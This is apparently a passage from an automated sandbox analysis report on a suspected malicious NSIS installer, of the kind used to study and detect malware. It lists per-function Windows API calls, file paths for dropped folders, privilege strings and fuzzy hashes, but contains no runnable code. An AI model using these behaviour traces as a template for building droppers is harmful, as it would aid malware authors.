C:\Users\user\AppData\Local\Temp\, xrefs: 00403500, 00403505, 0040351B, 00403527, 00403536, 00403543, 0040354F, 00403557, 0040364C, 00403658, 00403664, 0040366B, 0040371C
C:\Users\user\AppData\Local\foreslaaende, xrefs: 004034F0, 004035F3, 00403672, 0040367C
1033, xrefs: 0040356C
\Temp, xrefs: 00403522
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040336D
Low, xrefs: 0040353E
TMP, xrefs: 00403558
"C:\Users\user\Desktop\________.exe", xrefs: 004033CE, 004033D4, 00403595
C:\Users\user\AppData\Local\foreslaaende\Sluggardliness, xrefs: 004035FE
~nsu.tmp, xrefs: 00403647
C:\Users\user\Desktop\________.exe, xrefs: 004036D5
C:\Users\user\Desktop, xrefs: 00403652, 00403657, 0040367B
SeShutdownPrivilege, xrefs: 0040376F
NSIS Error, xrefs: 004033B9

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\________.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\foreslaaende$C:\Users\user\AppData\Local\foreslaaende\Sluggardliness$C:\Users\user\Desktop$C:\Users\user\Desktop\________.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-728878773
Opcode ID: 19452a82f84b89d672e287bbd9b4a7210e15b48e73439f139737dd6fa92c6ca7
Instruction ID: adac61535fb2ab45c93a94ea6b46826cba801cc8f349b6914fd9ce0ca4797ca8
Opcode Fuzzy Hash: 19452a82f84b89d672e287bbd9b4a7210e15b48e73439f139737dd6fa92c6ca7
Instruction Fuzzy Hash: 72B1C170904211AAD720BF619D49A3B3EACEB4570AF40453FF542BA2E2D77C9941CB7E

Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B28
GetDlgItem.USER32(?,00000408), ref: 00404B33
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B7D
LoadBitmapW.USER32(0000006E), ref: 00404B90
SetWindowLongW.USER32(?,000000FC,00405108), ref: 00404BA9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BBD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BCF
SendMessageW.USER32(?,00001109,00000002), ref: 00404BE5
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BF1
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C03
DeleteObject.GDI32(00000000), ref: 00404C06
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C31
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C3D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CD3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CFE
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D12
GetWindowLongW.USER32(?,000000F0), ref: 00404D41
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D4F
ShowWindow.USER32(?,00000005), ref: 00404D60
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E5D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EC2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404ED7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EFB
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F1B
ImageList_Destroy.COMCTL32(?), ref: 00404F30
GlobalFree.KERNEL32(?), ref: 00404F40
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FB9
SendMessageW.USER32(?,00001102,?,?), ref: 00405062
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405071
InvalidateRect.USER32(?,00000000,00000001), ref: 00405091
ShowWindow.USER32(?,00000000), ref: 004050DF
GetDlgItem.USER32(?,000003FE), ref: 004050EA
ShowWindow.USER32(00000000), ref: 004050F1

Strings

N, xrefs: 00404D9B
M, xrefs: 00404CBA
, xrefs: 004050C9

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: db08064a331c8b710d2bfbefb5f5365b1a6743964771edbed48d05eba51cbb05
Instruction ID: d71a5cbf05b966a5fca8a5aa47d1df2e6c399d67ef135bcf6f64f468dd7cdb7f
Opcode Fuzzy Hash: db08064a331c8b710d2bfbefb5f5365b1a6743964771edbed48d05eba51cbb05
Instruction Fuzzy Hash: 6E027FB0900209EFEB209F54DD85AAE7BB5FB84314F10857AF610BA2E0D7799D52CF58

Function 00405F0C Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00405FCF
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040604D
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 00406060
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 0040609C
SHGetPathFromIDListW.SHELL32(?,Call), ref: 004060AA
CoTaskMemFree.OLE32(?), ref: 004060B5
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004060D9
lstrlenW.KERNEL32(Call,00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00406133

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060D3
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040601B
Call, xrefs: 00405F36, 00406016, 00406037, 0040604C, 0040605F, 0040607B, 004060A6, 004060D8, 004060DE, 004060F8, 0040610C, 0040612C, 00406132, 0040613E, 00406171

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 9fe4ffeb513939a43d7003ef0179ff27352b89f5fe06c0b94729ac98e3d3bc3e
Instruction ID: 201fcfe404e7502d8ff22bbbb8bc1db0d7d07a9235330109bbd625d5d43c8b09
Opcode Fuzzy Hash: 9fe4ffeb513939a43d7003ef0179ff27352b89f5fe06c0b94729ac98e3d3bc3e
Instruction Fuzzy Hash: 93612371A40516EBDB209F24CC44AAF37A5EF00314F51813BE546BA2E0D73D8AA2CB4E

Function 00405772 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,"C:\Users\user\Desktop\________.exe"), ref: 0040579B
lstrcatW.KERNEL32(004246D8,\*.*,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,"C:\Users\user\Desktop\________.exe"), ref: 004057E3
lstrcatW.KERNEL32(?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,"C:\Users\user\Desktop\________.exe"), ref: 00405806
lstrlenW.KERNEL32(?,?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,"C:\Users\user\Desktop\________.exe"), ref: 0040580C
FindFirstFileW.KERNELBASE(004246D8,?,?,?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,"C:\Users\user\Desktop\________.exe"), ref: 0040581C
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 004058BC
FindClose.KERNEL32(00000000), ref: 004058CB

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405780
"C:\Users\user\Desktop\________.exe", xrefs: 0040577B
\*.*, xrefs: 004057DD

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\________.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1994770991
Opcode ID: 91addf2f7801abc8b01003351af1a773a3a4ecd8c4e6fa2132f7e8029f9d92b7
Instruction ID: 64b0c8684543101156bed993c7ef625b5cb6937b92a1292c702a5556077473ca
Opcode Fuzzy Hash: 91addf2f7801abc8b01003351af1a773a3a4ecd8c4e6fa2132f7e8029f9d92b7
Instruction Fuzzy Hash: 4341B031800914EADF217B619C89ABF7678EF45728F10817BF800B51D1D77C4992DE6E

Function 0040653F Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction ID: edf170fb2c3714e597751af3e8fd03d842b3b080db723bf9ee749212abe0df6d
Opcode Fuzzy Hash: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction Fuzzy Hash: D3F17771D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A96CF44

Function 0040622D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00425720,00424ED8,00405A86,00424ED8,00424ED8,00000000,00424ED8,00424ED8,?,?,75572EE0,00405792,?,C:\Users\user\AppData\Local\Temp\,75572EE0), ref: 00406238
FindClose.KERNEL32(00000000), ref: 00406244

Strings

WB, xrefs: 0040622E

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: WB
API String ID: 2295610775-2854515933
Opcode ID: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction ID: f398094869b5afba054f99dea52ba5834f85055b19877d8081192ff4b2f0d438
Opcode Fuzzy Hash: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction Fuzzy Hash: DAD012319480209BC21037387E0C85B7A59AB493307524AB7F82AF27E0C738AC6586AD

Function 00406254 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
GetProcAddress.KERNEL32(00000000,?), ref: 00406282

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
Instruction ID: 46d0f10fa6fb29b22d4bf355a321a76136a9e9be6b3571ea53230c25cba9bd22
Opcode Fuzzy Hash: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
Instruction Fuzzy Hash: 02E0CD36A08120ABC7115B309D44D6773BCAFE9601305053DF505F6240C774AC1297A9

Function 004038B4 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

lstrcatW.KERNEL32(1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,C:\Users\user\AppData\Local\Temp\,75573420,00000000,"C:\Users\user\Desktop\________.exe"), ref: 00403935
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\foreslaaende,1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,C:\Users\user\AppData\Local\Temp\), ref: 004039B5
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\foreslaaende,1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000), ref: 004039C8
GetFileAttributesW.KERNEL32(Call), ref: 004039D3
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\foreslaaende), ref: 00403A1C

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

RegisterClassW.USER32(00428180), ref: 00403A59
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A71
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403AA6
ShowWindow.USER32(00000005,00000000), ref: 00403ADC
LoadLibraryW.KERNELBASE(RichEd20), ref: 00403AED
LoadLibraryW.KERNEL32(RichEd32), ref: 00403AF8
GetClassInfoW.USER32(00000000,RichEdit20W,00428180), ref: 00403B08
GetClassInfoW.USER32(00000000,RichEdit,00428180), ref: 00403B15
RegisterClassW.USER32(00428180), ref: 00403B1E
DialogBoxParamW.USER32(?,00000000,00403C57,00000000), ref: 00403B3D

Strings

_Nb, xrefs: 00403A38, 00403AA0
C:\Users\user\AppData\Local\Temp\, xrefs: 004038C0
RichEdit20W, xrefs: 00403B00, 00403B06
C:\Users\user\AppData\Local\foreslaaende, xrefs: 00403944, 0040394C, 004039EF, 004039F5, 00403A05
1033, xrefs: 004038D4, 00403930
RichEd32, xrefs: 00403AF3
.DEFAULT\Control Panel\International, xrefs: 00403920
.exe, xrefs: 004039C2
Call, xrefs: 0040397C, 00403985, 00403993, 004039E2, 004039E8
RichEdit, xrefs: 00403B0F
RichEd20, xrefs: 00403AE8
"C:\Users\user\Desktop\________.exe", xrefs: 004038B7
Control Panel\Desktop\ResourceLocale, xrefs: 004038E8

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\________.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\foreslaaende$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-946982534
Opcode ID: 8ef44c221ffc76618c9d3063fdfaa19d9e9f68cd4157665c5f0528a7ad94f78d
Instruction ID: b862c1471ebdc097eb7bd7ac0b5924faedec86185335dcace1f032bfb9465ac2
Opcode Fuzzy Hash: 8ef44c221ffc76618c9d3063fdfaa19d9e9f68cd4157665c5f0528a7ad94f78d
Instruction Fuzzy Hash: 5561B670604201BAE720AF669C46E3B3A6CEB45759F40453FF945B62E2CB786D02CA2D

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C93
ShowWindow.USER32(?), ref: 00403CB0
DestroyWindow.USER32 ref: 00403CC4
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CE0
GetDlgItem.USER32(?,?), ref: 00403D01
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403D15
IsWindowEnabled.USER32(00000000), ref: 00403D1C
GetDlgItem.USER32(?,00000001), ref: 00403DCA
GetDlgItem.USER32(?,00000002), ref: 00403DD4
SetClassLongW.USER32(?,000000F2,?), ref: 00403DEE
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E3F
GetDlgItem.USER32(?,00000003), ref: 00403EE5
ShowWindow.USER32(00000000,?), ref: 00403F06
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F18
EnableWindow.USER32(?,?), ref: 00403F33
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F49
EnableMenuItem.USER32(00000000), ref: 00403F50
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F68
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F7B
lstrlenW.KERNEL32(004226D0,?,004226D0,004281E0), ref: 00403FA4
SetWindowTextW.USER32(?,004226D0), ref: 00403FB8
ShowWindow.USER32(?,0000000A), ref: 004040EC

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: d3e31c762ced5e7f3f9f31fdb6bfb00df4bf7f17a487b0a05df9e2eacf633d02
Instruction ID: 25e1393ee42f6df426570fd4a537ecf3dcaf9ce603c4882d15cf919a8637c385
Opcode Fuzzy Hash: d3e31c762ced5e7f3f9f31fdb6bfb00df4bf7f17a487b0a05df9e2eacf633d02
Instruction Fuzzy Hash: 2FC1A071A08205BBDB206F61ED49E3B3A68FB89745F40053EF601B15F1CB799852DB2E

Function 00402DBC Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DD0
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\________.exe,00000400), ref: 00402DEC

Part of subcall function 00405B56: GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\________.exe,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\________.exe,C:\Users\user\Desktop\________.exe,80000000,00000003), ref: 00402E35
GlobalAlloc.KERNELBASE(00000040,00409230), ref: 00402F7C

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402FC5
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403013
Inst, xrefs: 00402EA3
Error launching installer, xrefs: 00402E0C
C:\Users\user\AppData\Local\Temp\, xrefs: 00402DC9, 00402F94
Null, xrefs: 00402EB5
soft, xrefs: 00402EAC
"C:\Users\user\Desktop\________.exe", xrefs: 00402DC5
C:\Users\user\Desktop\________.exe, xrefs: 00402DD6, 00402DE5, 00402DF9, 00402E16
C:\Users\user\Desktop, xrefs: 00402E17, 00402E1C, 00402E22

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\________.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\________.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-4087227246
Opcode ID: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction ID: 37f794aabb7b6cc22e4429bd010eaec377b65274dead3bcbf73b1a6bf24b43e2
Opcode Fuzzy Hash: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction Fuzzy Hash: FB610571940205ABDB20AF65DD89BAE3AB8EB04359F20417BF505B32D1C7BC9E41DB9C

Function 10001B3E Relevance: 20.0, APIs: 13, Instructions: 542stringmemoryCOMMON

Download Yara Rule

APIs

